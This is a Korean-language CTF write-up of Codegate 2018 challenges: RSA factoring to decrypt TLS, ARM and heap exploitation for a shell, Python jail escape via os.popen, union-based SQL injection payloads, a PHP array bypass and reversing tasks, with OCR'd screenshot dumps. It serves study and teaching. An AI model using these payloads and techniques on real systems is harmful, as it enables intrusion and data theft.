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Miro

해당 문제는 pcap파일과 client접속 코드가 주어진다.
해당 코드를 보면 ssl통신을 하고,pcap파일은 통신을 했을 때 캡쳐를 한 내용으로 파악했다.
pcap파일에 있는 공개키를 추출하여 openssl로 보니 N이 1025bit 였다.

[image: /Users/taeukkim/Desktop/스크린샷 2018-02-04 오후 8.11.06.png]

N이 작은편이기 때문에, 페르마 인수분해를 이용해서 p, q를 구했다.
[image: /Users/taeukkim/Desktop/스크린샷 2018-02-04 오후 8.14.49.png]
(fermats.py - https://gist.github.com/st1tch/a74be20c6eff34f716f347945a1dc125)

또한, 구한 p, q를 이용하여 개인키를 만들었다.
[image: /Users/taeukkim/Desktop/스크린샷 2018-02-04 오후 8.21.43.png]
이제 개인키를 복구 했으니, ssl통신내용을 복호화 해서 볼 수 있다.

[image: /Users/taeukkim/Desktop/스크린샷 2018-02-04 오후 10.39.30.png]
저기 있는 frame 11, 12번 패킷을 제외하고 다시 저장한 뒤, 개인키를 이용하여 디크립트 할 수 있었다.

기존 client.py에 나오는 기능에는 R, L은 구현되어 있지만, U, D이 없기 때문에, 복호화된 pcap파일의 내용들 중에서 U와 D에 해당하는 토큰을 얻을 수 있었고, 결과적으로 G에 도착해서 flag를 얻을 수 있었다.
 [image: /Users/taeukkim/Desktop/스크린샷 2018-02-04 오후 10.47.46.png]

solve.py - https://gist.github.com/st1tch/40aece2a9a8332b0a3efec524fb250d4



Melong

이 문제는 ARM아키텍처 바이너리이기 때문에 라즈베리파이에서 진행했다.
우선 문제형태는 비교적 간단한 형태이기 때문에 취약점을 먼저 찾았다.

[image: ../Desktop/스크린샷%202018-02-04%20오후%2011.08.49.png]

write하는 부분에서 read함수를 사용하는데 nbytes만큼 사용한다.
또한 a2의 버퍼는 메인함수의 bp-84에 존재하므로 적어도 84이상의 크기를 입력받아야 함수의 흐름을 바꿔 공격을 시도할 수 있다.
[image: ../Desktop/스크린샷%202018-02-04%20오후%2011.09.06.png]
거슬러 올라가면 저 nbytes는 PT의 리턴값임을 알 수 있다.

따라서 PT함수에서 원하는 만큼의 size를 입력할 수 있는데, 다만 원하는 크기의 초만큼 sleep을 하기 때문에 크기가 너무크면 시간이 오래걸린다. 실제 로컬에서 할 때는 바이너리에 있는 모든 sleep함수를 0초로 패치한 후 디버깅하였다.

바로 PT함수를 실행할 수 없어서, 여러가지 방법을 시도해보다가 
bmi 입력(180, 80..(내신체스펙;;ㄷㄷ)) -> exercise -> bmi 입력 -> exercise -> PT입력(100) -> PT입력(100) 의 과정을 통해서 100바이트만큼 원하는 내용을 쓸 수 있게 되었다.
[image: ../Desktop/스크린샷%202018-02-04%20오후%2011.06.36.png]
따라서 pc를 제어할 수 있게 되었는데 rop를 하자니 귀찮아서,
다른 방법을 생각해보다가 스택에 실행권한이 존재함을 발견하였다.

[image: ../Desktop/스크린샷%202018-02-04%20오후%2011.24.59.png]
또한 bp근처에 존재하는 스택 주소를 leak하여, buf 주소를 상대적으로 계산할 수 있었다.
따라서, buf에 입력을 할 때 nop sled + shellcode의 공격페이로드를 구성하였고, 리턴되는 주소로 대략적인 buf근처 주소를 줌으로써 shellcode를 실행하도록 하였다. 로컬에서는 바로 됬지만 서버에서는 바로 안되서, 스택주소를 0x10씩 몇 번 조절함으로써 쉘을 획득했다.
[image: ../Desktop/스크린샷%202018-02-04%20오후%2011.00.54.png]
exploit - https://gist.github.com/st1tch/0d1eb68ea169845c581783c4047c191c


Supermarimo

이 문제 역시 취약점을 먼저 찾아보고 공격을 시도하였다.
우선 입력을 받을 때, show me the marimo 를 입력하면 marimo가 추가된다.

[image: ../Desktop/스크린샷%202018-02-05%20오후%207.27.54.png]
marimo 구조체는 24byte로 구성된다.
	birth(4byte)
	size(4byte)
	&name(8byte)
	&profile(8byte)



위와 같은 정보들이 저장되는데, 단계로 살펴보면
marimo할당(24), name할당(16), profile할당(32) 순서로 힙에 할당이 된다.

[image: ../Desktop/스크린샷%202018-02-05%20오후%207.35.54.png]
또한 view메뉴를 통해 marimo들의 배열인 bowl에 속해있는
특정 marimo의 정보들을  수 있고, profile을 수정할 수 있다.
이 곳을 통해 특정주소에 overwrite와 leak을 할 수 있다.
우선 overwrite를 해야하는데, edit을 통해 profile을 수정하는 과정에서 원래 크기인 32byte가 아닌, 처음 크기 + (현재시간 – marimo를 생성한시간) 만큼 profile을 수정할 수 있다.
재할당 과정이 없이 바로 이루어지므로 뒤에 다른 힙청크가 있다면 heap overwrite가 가능한 상황이다.

위 방법을 통해 marimo3개를 순서대로 할당받고, 적당한 시간을 기다렸다가 첫번째 marimo의 profile을 수정함으로써 두번째 marimo 구조체의 name주소와 profile주소 영역을 원하는 영역으로 바꿈으로써 leak을 할 수 있고, 또한 원하는 주소에 원하는 값을 쓸 수 있다.

따라서 먼저 leak을 통해 libc_base를 알아낸 다음, malloc_hook에다가 원샷가젯을 넣어서 쉘을 획득할 수 있었다.
 
[image: ../Desktop/스크린샷%202018-02-05%20오후%207.46.48.png]

exploit - https://gist.github.com/st1tch/7f797d3d138200e8a7a2594987184068


BaskinRobins31

제일 쉬운 문제였다…
아주 착한 마음을 가지고 바이너리를 열자마자 바로 취약점이 보이는 마법이 일어났다.

[image: ../Desktop/스크린샷%202018-02-05%20오후%207.52.14.png]

바로 이 부분인데, 시키는대로 1-3을 입력하지 말고 그냥 0x190만큼
데이터를 쑤셔넣으면, ret까지 덮어버릴 수 있다.
따라서, 그냥 write함수로 끌리는 함수의 got를 leak하고, 다시 main으로 trigger한 다음, libc_base를 구하고 oneshot가젯을 ret에 넣으면 끝!

[image: ../Desktop/스크린샷%202018-02-05%20오후%207.56.08.png]

exploit - https://gist.github.com/st1tch/db7fce8ccafe59da756c9c085fb3eb83



RedVelvet

ELF 바이너리가 하나 주어지고, 실행하면 아래와 같다.
[image: ]

입력을 하면 아무런 출력 없이 그냥 종료된다.
단순한 입력값 체크 문제이므로 IDA 로 확인해본다.

[image: ]

해시로 보이는 문자열과, 입력 문자들이 여러 func? 함수들을 거치는 것을 볼 수 있다.
func 함수는 대략 아래처럼 생긴 형태이다.

[image: ]

두 문자에 대한 조건식으로, 이 func1 하나에 대해서는 간단히 파이썬으로 돌려보면
“Wh” 라는 것을 쉽게 알 수 있고, 입력하면 “HAPPINESS:)” 가 출력되는 것을 볼 수 있다.
이런 식으로 아래에 이어지는 루틴은 아래와 같다.

[image: ]

최종적으로 문자들을 하나하나 검증한 다음 해당 문자열의 SHA256 해시가
위에서 처음 strcpy 한 문자열과 동일하면 그 문자열 자체가 flag 가 되는 것을 볼 수 있다.

기본적으로 func5 까지는 두 문자 뿐이고, 하나는 다음 함수에 전달되는 식이므로
한 문자에 대해서만 브루트포싱을 해보면 What_You 정도 까지는 쉽게 알아낼 수 있다.
(물론 실제로는 여기까진 게싱으로 진행했으나..)

그 뒤부터는 아예 프로세스에 대해 브루트포싱을 하기로 하였다.
그러나 중간 중간에 조건에 중복되는 경우가 있기 때문에( 한 2~3번 정도 나온다. )
이런 경우가 발생하면 리스트를 출력하여 일일이 하나씩 뒤에 붙여보는 식으로 진행하였다.

스크립트는 아래와 같다.
	import subprocess
import sys

flag = 'What_You_Wanna_Be?:)_l'
n = 14
while True:
        f = 0
        for i in range(0x20, 0x80):
                for j in range(0x20, 0x80):
                        p = subprocess.Popen(['./RedVelvet_patch'], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
                        p.stdin.write(flag + chr(i) + chr(j) + 'aaaaaaaaaa\n')
                        p.wait()
                        dn = len(p.stdout.read(1000).split('HAPPINESS:)'))
                        if dn > n and i != ord('`'):
                                flag += chr(i)
                                flag += chr(j)
                                print flag
                                n = dn
                                f = 1
                                break
                if f == 1:
                        break
        if f == 0:
                break



위의 경우도 :) 근처에서 중복 때문에 일일이 해보고 그 뒤부터 다시 진행하는 결과이다.
처음 스크립트는 n = 6, 7 정도부터 시작했으나 수정하면서 최종적으로는 위처럼 되었다.

그렇게 다 돌려보면 최종적으로 플래그를 얻을 수 있다.


Flag : What_You_Wanna_Be?:)_la_la












Impel Down

서버에 접속하면 Rule 과 함께 Name 과 그 뒤에 work 를 입력 받는다.
Jail 이라 당연히 지금까지 나오던 그런 언어 레벨에서의 Jail 을 생각했으나
이것저것 넣다보니 그냥 정말 단순한 Rule 상의 Jail 이 아닌가 싶어 헷갈렸다.

그러나 “coworker tool” 처럼 공백을 넣어 두 개를 넣어본 결과 아래처럼 에러가 발생했다.

	Traceback (most recent call last):
  File "/home/impel_down/Impel_Down.py", line 140, in <module>
    result = eval("your."+work+"()")
  File "<string>", line 1
    your.coworker tool()
                     ^
SyntaxError: invalid syntax



입력할 수 있는 work 들이 실제 메소드명이고 eval 로 하는 괴상한 동작으로 보아
언어 레벨의 Jail 을 확신할 수 있었고, 그 때부터 온갖 삽질을 하였다.

보통 이런 문제는 소스 파일에 플래그를 그대로 넣어두거나, 또는 쉘 명령을 실행해야 되는
경우인데 둘 중 어느 경우인지는 알 수 없어 일단 두 가지를 모두 고려하여 보았다.

38자 제한으로 인해 까다로웠으나, 이런 저런 것을 넣다보니, your.dig()/int(~~~~) 형태로
넣을 경우 int 의 에러 메시지에서 결과를 볼 수 있는 것을 확인하였다.

또한 이를 이용해 sys 모듈이 import 되어 있는 것을 알 수 있었고,
sys.modules[“os”] 등을 통해서 무언가 해보려고 하였으나, system 함수를 실행해도
결과 출력이 이쪽으로 오지는 않는 듯 하였고 system 이 출력을 리턴해주는 것도 아니기에
쉽게 되지 않았다. popen / read 를 이용하기엔 너무 길이가 짧았다.

고밓나던 중 dig/int(open(sys.argv[0]).read()) 와 같은 형태를 생각해내어 소스 파일 내용을
볼 수 있었지만, 에러 메시지에서 짤라버리는 바람에 길게 볼 수가 없었다.
[100:] 같은 식으로 해보려 하였으나 아쉽게도 38자 제한에 걸렸다.

고전하던 중 처음 입력하는 name 에 착안하여, your 객체에 name 이 변수로 있지 않을까
생각해보았고 정말로 있는 것을 확인하여 이를 이용해 길이 제한을 우회할 수 있었다.

결과적으로 입력은 dig/int(eval(your.name)) 로 하고, 실행할 코드는 name 에 적어주었다.
그리하여 open(sys.argv[0]).read()[0:] 부터 open(sys.argv[0]).read()[3000:] 까지 쭉 수동으로
일일이 소스를 뒤지던 중 3000: 에서 아래와 같은 주석을 발견하였다.

	# FLAG is /FLAG_FILE~blahblah (this is only executable.)



따라서 다음으로 sys.modules[‘os’].popen(‘ls /’).read() 등을 이용해서 파일 풀네임을 얻었고,
다음 sys.modules['os'].popen('/FLAG_FLAG_FLAG_LOLOLOLOLOLOL').read() 를 써서
실행하여 플래그를 얻을 수 있었다.


Flag : Pyth0n J@il escape 1s always fun @nd exc1ting ! :)























easy_serial

주어진 바이너리를 확인해보면 Haskell 로 만들어진 바이너리임을 알 수 있다.
하스켈 문제는 이미 작년 sctf 예선에서 풀었는데, 그 때 github 의 hsdecomp 가
에러가 떠서 수정해서 풀었던 파일을 갖고 있어서 그걸 가져와서 디컴파일 하였다.
디컴파일 소스는 아래와 같다.

	('Main_main_closure', '=', '>> $fMonadIO
    (putStrLn (unpackCString# "Input Serial Key >>> "))
    (>>= $fMonadIO  getLine  (\s1dZ_info_arg_0 ->
            >> $fMonadIO  (putStrLn (++ (unpackCString# "your serial key >>> ") (++ s1b7_info (++ (unpackCString# "_") (++ s1b9_info (++ (unpackCString# "_") s1bb_info))))))
                (case && (== $fEqInt (ord (!! s1b7_info loc_7172456)) (I# 70)) (&& (== $fEqInt (ord (!! s1b7_info loc_7172472)) (I# 108)) (&& (== $fEqInt (ord (!! s1b7_info loc_7172488)) (I# 97)) (&& (== $fEqInt (ord (!! s1b7_info loc_7172504)) (I# 103)) (&& (== $fEqInt (ord (!! s1b7_info loc_7172520)) (I# 123)) (&& (== $fEqInt (ord (!! s1b7_info loc_7172536)) (I# 83)) (&& (== $fEqInt (ord (!! s1b7_info loc_7172552)) (I# 48)) (&& (== $fEqInt (ord (!! s1b7_info loc_7172568)) (I# 109)) (&& (== $fEqInt (ord (!! s1b7_info loc_7172584)) (I# 101)) (&& (== $fEqInt (ord (!! s1b7_info loc_7172600)) (I# 48)) (&& (== $fEqInt (ord (!! s1b7_info (I# 10))) (I# 102)) (&& (== $fEqInt (ord (!! s1b7_info (I# 11))) (I# 85)) (== $fEqInt (ord (!! s1b7_info (I# 12))) (I# 53))))))))))))) of
                    <tag 1> -> putStrLn (unpackCString# ":p"),
                    c1ni_info_case_tag_DEFAULT_arg_0@_DEFAULT -> case == ($fEq[] $fEqChar) (reverse s1b9_info) (: (C# 103) (: (C# 110) (: (C# 105) (: (C# 107) (: loc_7168872 (: loc_7168872 (: (C# 76) (: (C# 51) (: (C# 114) (: (C# 52) [])))))))))) of
                        False -> putStrLn (unpackCString# ":p"),
                        True -> case && (== $fEqChar (!! s1bb_info loc_7172456) (!! s1b3_info loc_7172456)) (&& (== $fEqChar (!! s1bb_info loc_7172472) (!! s1b4_info (I# 19))) (&& (== $fEqChar (!! s1bb_info loc_7172488) (!! s1b3_info (I# 19))) (&& (== $fEqChar (!! s1bb_info loc_7172504) (!! s1b4_info loc_7172568)) (&& (== $fEqChar (!! s1bb_info loc_7172520) (!! s1b2_info loc_7172488)) (&& (== $fEqChar (!! s1bb_info loc_7172536) (!! s1b3_info (I# 18))) (&& (== $fEqChar (!! s1bb_info loc_7172552) (!! s1b4_info (I# 19))) (&& (== $fEqChar (!! s1bb_info loc_7172568) (!! s1b2_info loc_7172504)) (&& (== $fEqChar (!! s1bb_info loc_7172584) (!! s1b4_info (I# 17))) (== $fEqChar (!! s1bb_info loc_7172600) (!! s1b4_info (I# 18))))))))))) of
                            <tag 1> -> putStrLn (unpackCString# ":p"),
                            c1tb_info_case_tag_DEFAULT_arg_0@_DEFAULT -> putStrLn (unpackCString# "Correct Serial Key! Auth Flag!")
                )  )   )')
('s1b4_info', '=', 'unpackCString# "abcdefghijklmnopqrstuvwxyz"')
('loc_7172600', '=', 'I# 9')
('s1bb_info', '=', '!! s1b5_info loc_7172488')
('loc_7172488', '=', 'I# 2')
('s1b5_info', '=', 'splitOn $fEqChar (unpackCString# "#") s1dZ_info_arg_0')
('loc_7172584', '=', 'I# 8')
('loc_7172504', '=', 'I# 3')
('s1b2_info', '=', 'unpackCString# "1234567890"')
('loc_7172568', '=', 'I# 7')
('loc_7172552', '=', 'I# 6')
('s1b3_info', '=', 'unpackCString# "ABCDEFGHIJKLMNOPQRSTUVWXYZ"')
('loc_7172536', '=', 'I# 5')
('loc_7172520', '=', 'I# 4')
('loc_7172472', '=', 'I# 1')
('loc_7172456', '=', 'I# 0')
('loc_7168872', '=', 'C# 48')
('s1b9_info', '=', '!! s1b5_info loc_7172472')
('s1b7_info', '=', '!! s1b5_info loc_7172456')



언뜻 복잡해 보이지만, 사실 거의 볼 게 없는 간단한 소스다.
제일 아래쪽의 변수들에 대해서, 이름이 주소로 되어있어 상당히 보기 불편하므로
각각에 대해 의미있는 변수명으로 ( 9에 대해서는 NINE 이라던지 ) replace 해서 보았었다.
그 외에는 알파벳이나 숫자 테이블들을 볼 수 있다.

이들을 기반으로 위의 소스를 보면,
	$fEqInt (ord (!! s1b7_info loc_7172456)) (I# 70)) (&& (== $fEqInt (ord (!! s1b7_info loc_7172472)) (I# 108))



위와 같은 부분은 C로 생각하면, s1b7_info[loc_7172456] == 70 정도로 볼 수 있다.
s1b7_info 는 입력이고, loc_7172456 은 0 이므로 결국 입력의 첫 번째 문자 아스키 코드가
70 인지를 체크하는 것이다. 이런 식의 코드가 쭉 이어진다.
뒤쪽도 reverse 나 이런 소소한 것을 빼면 똑같은 식이므로 번거로울 게 전혀 없다.

그리고 각각의 stage ( 체크 루틴이 적당히 나뉨 ) 마다 ‘#’ 으로 구분하는 것으로
추정할 수 있는 코드가 있다. 처음 index 에러가 뜨는 이유는 # 으로 split 한 배열에서
접근을 하기 때문에, 입력 문자열에 # 가 안 들어가서 떴던 것이다.
이를 바탕으로 하나하나 플래그가 되는 문자를 모으면 최종 플래그를 얻을 수 있다.


Flag : S0me0fU5#4r3L00king#AtTh3St4rs
































Useless

Page 내부에 있는http://13.124.66.179/.git/을 발견할 수 있었다.
Gittools를 이용하여 덤프를 시도해보았다.

[image: ]

덤프 결과 여러 파일을 얻었으며 git checkout을 통하여 복원을 시도하였다.

[image: ]

Enc.py 와 read.me를 얻을 수 있었다.
[image: ]
Readme.md를 통하여 encrypt 하는 방법을 알아 내었으며, 이를 codegate127.0.0.1 or admin127.0.0.1 or codegate+현재ip 등등을 enc.py의 입력값으로 주어 입력값들을 뽑아내었다.(enc.py는 너무 길어서 생략)

[image: ]

순서대로 ‘admin127.0.0.1’ , ‘codegate127.0.0.1’ 이다. 이를 Page의 쿠키값에 넣어준 후 새로고침 결과 admin127.0.0.1을 enc.py한 값을 통하여 flag Page를 얻을 수 있었다.
[image: ]

ENCRYPTME{It's_reaLLy_n0nsen5_th4t_I_5p3nt_M0ney_more_7h4n_My_6udg3t.}
이런 문자열을 얻을 수 있으며, enc.py 를 encrypt후, flag를 얻을 수 있다.
[image: ]











Welcome to droid
설치하려고 하면 Failure [INSTALL_FAILED_TEST_ONLY] 에러가 뜨며 설치가 안된다. adb install -t droid.apk명령어로 설치가 가능하지만 바로 꺼진다.
http://www.javadecompilers.com/apk 여기서 apk 파일을 디컴파일하여 확인해 보면 Main4Activity 에서 JNI 함수 stringFromJNI를 확인할 수 있다.
이 함수의 반환 값을 확인하기 위하여 패키지 명과 클래스 명을 같게 하여 안드로이드 프로젝트를 생성하고, app/src/main/ 에 jniLibs 폴더를 만들고 여기에 디컴파일 한 폴더의 lib 폴더 안의 내용들을 넣어주면 된다.
package com.example.puing.a2018codegate;

import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import android.widget.TextView;

public class Main4Activity extends AppCompatActivity {
    static{
        System.loadLibrary("native-lib");
    }
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        Log.i("test", stringFromJNI());
        setContentView(R.layout.activity_main);
        ((TextView)findViewById(R.id.text)).setText(stringFromJNI());
    }
    public native String stringFromJNI();
}
실행하면 바로 플래그를 확인할 수 있다.

Wol!! awesome!! FLAG{W3_w3r3_Back_70_$3v3n7een!!!} hahahah!!
Simple CMS
소스코드의 install/simple_cms.sql 으로 db 구조를 확인할 수 있지만 {table_prefix} 와 {blind_column} 이 10자리의 랜덤한 값으로 바뀌기 때문에 정확한 이름을 알 수 없다.
function/waf.php 에서 모든 입력값에 addslashes 를 적용하므로 싱글쿼터가 없는 곳에 입력이 들어가는 부분을 찾아야 하며 action_search 부분에서 찾을 수 있었다.
$column 에 | 를 넣지 않는다면 쿼리문은 다음과 같다.
SELECT * FROM board WHERE LOWER(${column}) like '%${search}%' order by date desc limit 0, 10
여기서 $column 과 $search 로 인젝션을 시도하면 다음과 같이 구성이 가능하며, 5개의 열을 가지고 1, 2, 4번째 열의 값을 바로 확인할 수 있다.
SELECT * FROM board WHERE LOWER(#) like '%
0) union (select) #%' order by date desc limit 0, 10
다음의 쿼리로 db 정보를 알 수 있다.
SELECT * FROM board WHERE LOWER(#) like '%
0) union select database(), user(), 3, version(), 5 from dual #%' order by date desc limit 0, 10
· database: simple_cms
· user: root@localhost
· version: 5.7.21-0ubuntu0.16.04.1
테이블 명을 알기 위해, 필터링으로 information_schema에 접근할 수 없지만, innodb_table_stats 테이블을 통해서 알 수 있다.
SELECT * FROM board WHERE LOWER(#) like '%
0) union select database_name, table_name, 3, 4, 5 from mysql.innodb_table_stats #%' order by date desc limit 0, 10


얻은 테이블 명들은 다음과 같다.
· 41786c497656426a6149_board
· 41786c497656426a6149_flag
· 41786c497656426a6149_users
flag 테이블의 열이 4개이고 3번째 열에 플래그가 저장돼 있으므로, {blind_column} 값을 알 필요 없이, 다음 쿼리문으로 플래그를 얻을 수 있다.
SELECT * FROM board WHERE LOWER(#) like '%
0) union (select * from (select 1 from dual) b, (select * from 41786c497656426a6149_flag) a) #%' order by date desc limit 0, 10

flag{you_are_error_based_sqli_master_XDDDD_XD_SD_xD}












rbSql
index.php 를 보면, flag를 얻기 위해서는 $_SESSION['lvl'] 의 값을 2로 설정해야 한다.
이 문제에서는 일반적인 DB를 사용하지 않고, 파일에 특정 형식으로 데이터를 저장하여 사용한다. 데이터를 저장하는 부분은 rbPack , 저장된 데이터를 불러오는 부분은 rbParse 에서 확인 할 수 있다.
rbParse 부분은 길어보이니 무시하고 rbPack 부분만 보면, 데이터가 문자열일 경우 0x01 과 문자열 길이 한 바이트 그리고 문자열 데이터를 쓰고, 데이터가 배열일 경우 0x02 와 배열의 요소 갯수 한 바이트 그리고 배열 내용에 대해 다시 수행한다.
index.php 의 elseif($page == "join_chk"){ 부분을 보면 데이터가 $uid, $umail, $upw, $uip 순으로 저장되어 있고, 아이디와 이메일에 strlen 으로 길이 체크를 하는 것을 알 수 있다. PHP 에서 strlen 에 배열을 인자로 주면 false 가 되므로 $umail 에 배열을 넘겨주면 길이 체크를 우회할 수 있다.
$umail 를 256개의 요소를 가지는 배열로 하고, 첫번째 요소에는 비밀번호의 md5값을, 세번째 요소에 '2'를 넣어 보내면 $umail 이 길이가 0인 배열로 저장되고 그 뒤로 내용들이 저장되어 로그인하면 플래그를 얻을 수 있다.
<?php
$uid='ticktock';
$upw='pw';
$umail=[];

for($i=0; $i<256; $i++)
	$umail[]='';
$umail[0]=md5($upw);
$umail[2]='2';

$query=[
	'uid'=>$uid,
	'upw'=>$upw,
	'umail'=>$umail
];
echo http_build_query($query);
FLAG{akaneTsunemoriIsSoCuteDontYouThinkSo?}
image4.png
stitch:~/machome/Downloads/codegate/@miro$ python rsatool.py -p 177773248107336469694884457879763912691051288508051285514090424259161754694
83806303018279424710789334026260880628723893508382860291986009604703181381742497 -q 1777732481073364606948844578797639126910512885080512855
1409042425916175469168770593916088768472336728042727873643069063316671869732507795155086000807594027 -0 out.pem

Using (p, @) to initialise RSA instance

n=
1c20bdc017e3caa3c579b40d439e2ecd7012c4d7£2764784c95a3Fddba0@981baIceSb227ade47b
0a7a0a8acaba4541ab95¢52f6bbde3dfIec@I0c6C356445b21be437abe10214d0b4a398a96743bbf
70c864687b2ec92901d6edab2d987fe09799ad2204a270433061dbFIc2e03b3320balad46644
€864a06cd586d480b

e = 65537 (0x10001)

d=
1a5c9d3a21adbe4b8b52aaeb1b8a6f36e03948504167bc03fb52ebe58a270d81e65211fcccaf6f49
d9e1d36b8cedd2f3df4a790a1e575990458b18a51082138265f3b909c7155¢173def686e4387b98a
9fe6ec917551d8095783b21eb98798f fb1324957b6dbfI44ce591c8099a1e2f4787028804c995964
€059d02749dfe5b81

p=
1536dcOecfbdc740b242c755760f7786cacfeb35190721687bd702f159c608184e3f75c63786¢
0832d301372ad3165d600adf637cdadefbc99adb6185bafal

q-=
1536dcOecfbdc740b242c755760f7786cacfeb35190721687bd702F159c5Fedd14ef4f564011aa
270cd326b5dcc69fb2bd76673357a9fa1399581abc231c82b

Saving PEM as out.pem
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Source Destination Protocol

Length

3 0.000256 192.168.18.129 192.168.18.128 38140 -+ 443 [ACK] Seq=1 Ack=1 Win=29312 Len=0 TSval=238940 ..
4 0.000441 192.168.18.129 192.168.18.128 TLSvl. 583 Client Hello

5 0.000820 192.168.18.128 192.168.18.129 Tce 66 443 - 38140 [ACK] Seq=1 Ack=518 Win=30080 Len=0 TSval=21609..
6 0.001001 192.168.18.128 192.168.18.129 TLSvl. 904 Server Hello, Certificate, Server Hello Done

7 0.001119 192.168.18.129 192.168.18.128 Tce 66 38140 - 443 [ACK] Seq=518 Ack=839 Win=30976 Len=0 TSval=238..
8 0.001450 192.168.18.129 192.168.18.128 TLSvl. 257 Client Key Exchange, Change Cipher Spec, Finished

9 0.002189 192.168.18.128 192.168.18.129 TLSvi. 292 New Session Ticket, Change Cipher Spec, Finished

10 0.040082 192.168.18.129 192.168.18.128 TCP 66 38140 - 443 [ACK] Seq=709 Ack=1065 Win=32640 Len=0 TSval

1

0.040323 192.168.18.129 192.168.18.128

38140 -~ 443 [ACK] Seq=709 Ack=1635 Win=34304 Len=o Tsvai=23.
13 0.04409 192.168.18.129 192.168.18.128 TLSvi. 160 Application Data
14 0.083282 192.168.18.128 192.168.18.129 TCP 66 443 - 38140 [ACK] Seq=1635 Ack=803 Win=31104 Len=0 TSval=21l..
15 1.046116 192.168.18.128 192.168.18.129 TLSv1. 405 Application Data
16 1.083862 192.168.18.129 192.168.18.128 W 66 38140 - 443 [ACK] Seq=803 Ack=1974 Win=35968 Len=0 TSval=23..
17 1.084051 192.168.18.128 192.168.18.129 TLSvi. 104 Application Data

18 1.084238 192.168.18.129 192.168. 18.128 TCP 66 38140 - 443 [ACK] Seq=803 Acl

012 Win=35968 Len=@ TSva
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[0][0][0][0][0][0]CV][0][0][O0]
[0][0][0][0][0][0]CVILVILVI[O]
[0J[0][V]LVI[V][0][0][0]LVI[O]
[o]Cvitvirolfvitvitvitvirvirol
[0][v][0][0][0][o][o][o][o][O]
[vifvirolfolfvitvitvitvirolrol
[vlro]ro][o][virolrolrvirolrol
[virvifvifolfvifolfolrvirvirol
[oJrolfvifvitvirolfojrolrvicvl
[0][0][0][0][0][0][0][0][0][G]
Flag is {C4n_y@u_d3crypt_th3_P4ck3t?7}
Input :

End!

Invalid input!




image7.png
1_DWORD *__fastcall write_diary(_DWORD *result, void *a2)
2{

void *buf; // [sp+0h] [bp-14h]

unsigned __int8 nbytes; // [sp+Fh] [bp-5h]

buf = a2;

nbytes = *result;
if ( nbytes )

q

Wo~NOVdW

10 | read(0, a2, nbytes);
11 result = printf( you wrote »s\n", buf);
12 }

13 return result;

143
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1size_t PTQ

2{

3 size_t v@; // r3

4 size_t size; // [sp+4h] [bp-10h]
5 wvoid *ptr; // [sp+8h] [bp-Ch]

6 1int i; // [sp+Ch] [bp-8h]
7
8
9

puts("Let's start personal training");

puts("How long do you want to take personal training?");
10 _isoc99_scanf("%d", &size);
11 ptr = malloc(size);
12 if ( ptr == exc2 )

{

13

14 puts("Okay, start to exercise!");
15 for (1i=0; i < size; ++i )

16

17 puts("you are getting healthy..");
18 sleep(lu);

19 }

20 free(ptr);

21 VO = size;

22 }

23 else

24 {

25 puts("Check your bmi again!!");
26 free(ptr);

27 Vo = 0;

}
29 return vO;
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gef> vnm
Start End Offset

0x00010000 0x00013000 0x00000000
0x00022000 0x00023000 0x00002000
0x00023000 0x00024000 0x00003000
0x76d85000 0x76eb0000 0x00000000
0x76eb0000 0x76ec0000 0x0012b000
0x76ec0000 0x76ec2000 0x0012b000
0x76ec2000 0x76ec3000 0x0012d000
0x76ec3000 0x76ec6000 0x00000000

Perm Path
r-x /home/pi/uk/melong

r-- /home/pi/uk/melong

rw- /home/pi/uk/melong

r-x /1ib/arm-linux-gnueabihf/libc-2.19.s0
--- /lib/arm-linux-gnueabihf/libc-2.19.50
r-- /lib/arm-1inux-gnueabihf/libc-2.19.s0
rw- /1ib/arm-1inux-gnueabihf/libc-2.19.s0
rw-

0x76edb00d 0x76ee0000 0x00000000
0x76ee0000 0x76eef000 0x00005000
0x76eef000 0x76ef0000 0x00004000

r-x /usr/lib/arm-linux-gnueabihf/libarmmem.so
--- /usr/lib/arm-linux-gnueabihf/libarmmem.so
rw- /usr/lib/arm-linux-gnueabihf/libarmmem.so

0x76ef0000 0x76f10000 0x00000000
0x76f1b000 0x76f1f000 0x00000000
0x76f1f000 0x76f20000 0x0001f000
0x76f20000 0x76f21000 0x00020000

r-x /lib/arm-linux-gnueabihf/1d-2.19.so0
rw-

r-- /1lib/arm-linux-gnueabihf/1d-2.19.so
rw-_/1ib/arm-linux-gnueabihf/1d-2.19.s0

|0x7ec45000 0x7ec66000 0x00000000

rwx_[stack]

0x7ed94000 0x7ed35000 0x00000000
0x7ed95000 0x7edI6000 0x00000000
0x7ed96000 0x7ed37000 0x00000000
Oxffff0o00 Oxffff1000 0x00000000
gef> |

r-x [sigpage]
r-- [war]
r-x [vdso]
r-x [vectors]
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gef> x/32wx Ox7efa7bb8 nop sled + shellcode

Ox7efa7bb8: 0xe1ad0000 0xe1ad0000 0xe1a00000
Ox7efarbc8: 0xe1ad0000 0xe1a00000 0xe1a00000
Ox7efa7bd8: 0xe1ad0000 0xe1ad0000 0xe1ad0000

Ox7efa7be8: Oxel2fff13 0x300c4678 0x900146c0 0x1a921a49
Ox7efa7bf8: 0xdf01270b 0x6€69622f 0x0068732f 0x00000005
0x7efa7c08: 0x6616161 0x7efa7bb8 0x0a61610a |- @x7efa7d64

Ox7efa7cl8: 0x00000001 0x000110cc 0x76f2c318 0x76f2c000
Ox7efarc28: 0x00000000 0x00000000 0x000104fc 0x00000000
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stitch:~/machome/Downloads/codegate/@melong$ python exploit.py k
[+] Opening connection to ch4113ng3s.codegate.kr on port 1199: Done
Your weight :

obese

Your bmi is :

[*] stack = Oxfefffc74

[*] Switching to interactive mode

you wrote O\x8FGR/€XF\XDCOGF\XI0T\x1a\x92\x1a\x0b' @/bin/s!

aaaiaaaj

ke

a
G

. Check your bmi

. Exercise

. Register personal training
. Write daily record

. Have some health menu

. Out of the gym

1
2
3
4
B
[3

1. Check your bm
2. Exercise

3. Register personal training
4. Write daily record

5. Have some health menu

6. Out of the gym

Type the number:you can enjoy banana
See you again :)

s id

uid=1000(melong) gid=1000(melong) groups=1000(melong)
$1s

flag

$ cat flag

FLAG{D@n7_7h1nk_7ha7_1_Can_3xplain_it}
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1_BYTE *__fastcall add_marimo(bowl *al, unsigned int a2, unsigned int a3)
2{

unsigned __int64 v3; // ST00_8

int v4; // STe4_4

al->birth = time(OLL);
al->size = a2;
al->name = malloc(@x1@uLL);
10 puts("What's your new marimo's name? (@x10)");
11 printf(">> ", v3);
12 fflush(stdout); |
